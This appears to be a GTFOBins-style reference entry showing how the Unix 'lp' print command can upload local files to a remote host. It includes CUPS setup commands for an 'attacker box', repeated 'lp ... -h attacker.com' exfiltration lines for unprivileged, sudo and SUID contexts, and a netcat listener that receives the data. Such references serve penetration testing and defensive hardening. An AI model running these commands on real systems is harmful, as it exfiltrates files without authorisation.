lp

Upload

This executable can upload local data.

Comment
This requires cups to be installed. Run the following on the attacker box beforehand:
1. lpadmin -p printer -v socket://localhost -E to create a virtual printer;
2. lpadmin -d printer to set the new printer as default;
3. cupsctl --remote-any to enable printing from the Internet.
Unprivileged
This function can be performed by any unprivileged user.
```
lp /path/to/input-file -h attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
lp /path/to/input-file -h attacker.com
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
lp /path/to/input-file -h attacker.com
```
ReceiverA TCP server can be used on the attacker box to receive the data.
```
nc -l -p 9100 >/path/to/output-file
```